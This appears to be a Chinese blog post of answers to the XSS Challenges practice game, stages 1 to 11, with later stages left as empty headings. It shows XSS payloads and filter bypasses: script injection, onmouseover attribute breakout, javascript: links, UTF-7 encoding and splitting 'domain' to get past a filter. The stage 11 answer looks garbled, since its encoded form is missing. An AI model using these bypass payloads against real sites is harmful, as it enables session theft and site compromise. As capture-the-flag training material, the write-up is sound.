XSS Challenges/xss-quiz游戏答案

这次记录下XSS Challenges 游戏答案。注入的方式有通过参数传递将script代码段在html中回显,还有注入到事件处理属性里,如onmouseover=”js code”

游戏地址 http://xss-quiz.int21h.jp/

Stage #1

第一关需要在IE下做,chrome会被 阻止,我用的IE11,input中输入

<script>alert(document.domain);</script>

响应的代码是

No results for <b>"<script>alert(document.domain);</script>"</b>

chrome会提示: The XSS Auditor refused to execute a script in ‘http://xss-quiz.int21h.jp/?sid=40d8d9ebfd5e0c6d71c393598b34c01287fff060’ because its source code was found within the request. The auditor was enabled as the server did not send an ‘X-XSS-Protection’ header.

还可以通过event handle attribute(事件处理属性)的方式来做,input中输入下面内容也可通关

<img onerror="alert(document.domain);" src=x>

Stage #2

第二关地址:http://xss-quiz.int21h.jp/stage2.php ,我的答案

 " ><script>alert(document.domain);</script>

第二关是将参数放在input value中 ,响应的代码是,chrome也可以通过

No results for your Query. Try again: <input type="text" name="p1" size="50" value=" " ><script>alert(document.domain);</script>">

Stage #3

第三关地址:http://xss-quiz.int21h.jp/stage-3.php

它会将< 转成< >转成> 所以无法构造< >,这里有两个参数,p1=关键词,p2=国家,但漏洞是只对p1作了escape处理, 在F12>Element中直接把name=”p1″和”p2″互换,在input框里再输入<script>alert(document.domain);</script> 即可,POST请求 的参数是

p2: <script>alert(document.domain);</script>
p1: Japan

Stage #4

第四关地址: http://xss-quiz.int21h.jp/stage_4.php ,这一关对p1和p2都做了escape, 但是多了一个input[type=hidden]的字段p3, 在F12 Element中把p3的value=”hackme”,双引号改成单引号

<input type="hidden" name="p3" value='" ><script>alert(document.domain);</script>' >

post参数 p3: " ><script>alert(document.domain);</script> 

出题者是根据你的请求参数来提示: Congratulations!!  

Stage #5

第五关地址: http://xss-quiz.int21h.jp/stage–5.php ,这一关设置了 maxlength , 只需 F12 Element中删除这个属性或改成较大的字即可,其它和Stage #2是一样的

" ><script>alert(document.domain);</script>

Stage #6

第六关地址: http://xss-quiz.int21h.jp/stage-no6.php , Hint里提示 event handler attributes 事件处理属性,这里对input输入做了escape处理,且只有一个input字段,除了在HTML 注入<script>,还可以在事件属性中注入函数 , 但需要鼠标移到input上触发

" onmouseover="alert(document.domain);"

Stage #7

第七关地址: http://xss-quiz.int21h.jp/stage07.php ,和第6关差不多,他会把alert两边的”转成””alert(xxx)””导致无法执行,去掉”就可以

"  onmouseover=alert(document.domain)

Stage #8

第八关地址: http://xss-quiz.int21h.jp/stage008.php

javascript:alert(document.domain)

那么构造成下面的代码,只要点击就会通关

<a href="javascript:alert(document.domain)">javascript:alert(document.domain)</a>

Stage #9

第九关地址: http://xss-quiz.int21h.jp/stage_09.php , “被替换成” ” 输入的内容都会被放进value的””里,但这关传递了一个参数: charset: euc-jp ,Hint提示用utf7来攻关, 需要将代码转义成utf7编码,并设置charset参数为utf-7, 请求返回的head里有<meta content=”text/html;charset=utf-7″>

utf7规范文档: https://tools.ietf.org/html/rfc1642
utf7在线编码: http://toolswebtop.com/text/process/encode/utf-7

p1: +ACIAIABv-n+AG0Abw-u+AHM-e+AG8Adg-e+AHIAPQBhAGw-e+AHIAdAAo-d+AG8AYw-u+AG0-en+AHQALg-d+AG8AbQBh-in+ACkAIA-
或
p1: +ACI- onmouseover=alert(document.domain) +ACI-
charset: utf-7

上面在IE11上可以成功,chrome下并不decode utf-7内容

Stage #10

第10关地址:http://xss-quiz.int21h.jp/stage00010.php, Hint提示这关会把domain给正则替换为空: s/domain//g; ,可以使用evil的eval

"><script>alert(eval('document.do'+'main'));</script>

另一种思路是

"><script>alert(document.dodomainmain);</script>

Stage #11

第11关地址: http://xss-quiz.int21h.jp/stage11th.php ,这关过滤的可多了,Hint里提示的有 “s/script/xscript/ig;” and “s/on[a-z]+=/onxxx=/ig;” and “s/style=/stxxx=/ig;”

彩用href=”javascript”方式同样面临script被替换的问题,可以使用htmlnumber,但这个放在 https://ascii.cl/htmlcodes.htm ,这个值放在innerText和attribute value里才能转换,<scriptt>不转换

"><a href="javascript:alert(document.domain);">

Stage #12

第12关地址: http://xss-quiz.int21h.jp/stage_no012.php

Stage #13

Stage #14

Stage #15

Stage #16

Stage #17

Stage #18

Leave a Reply

Your email address will not be published. Required fields are marked *